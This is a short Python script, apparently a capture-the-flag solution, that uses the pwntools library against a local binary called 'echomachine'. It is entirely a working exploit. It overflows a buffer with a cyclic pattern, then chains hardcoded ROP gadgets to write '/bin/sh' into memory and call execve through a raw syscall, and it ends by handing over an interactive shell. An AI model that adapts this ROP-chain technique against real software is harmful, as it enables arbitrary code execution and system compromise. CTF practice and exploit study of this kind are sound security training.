#!/usr/bin/python
# -*- coding: UTF-8 -*-
from pwn import *

context.arch = 'amd64'

p = process('./echomachine')
# pause()

pop_rax = 0x44955c
pop_rdi = 0x400686
pop_rsi = 0x410183
pop_rdx_rsi = 0x44bb39
mov_q_rdi_rsi = 0x446d1b
syscall = 0x40122c

bss = 0x6bb2e0

payload = flat(
    cyclic(0x18),
    pop_rax, 0x3b,
    pop_rdi, bss,
    pop_rsi, '/bin/sh\0',
    mov_q_rdi_rsi,
    pop_rdx_rsi, 0, 0,
    syscall
)

p.sendafter(':', payload)

p.interactive()
p.close()
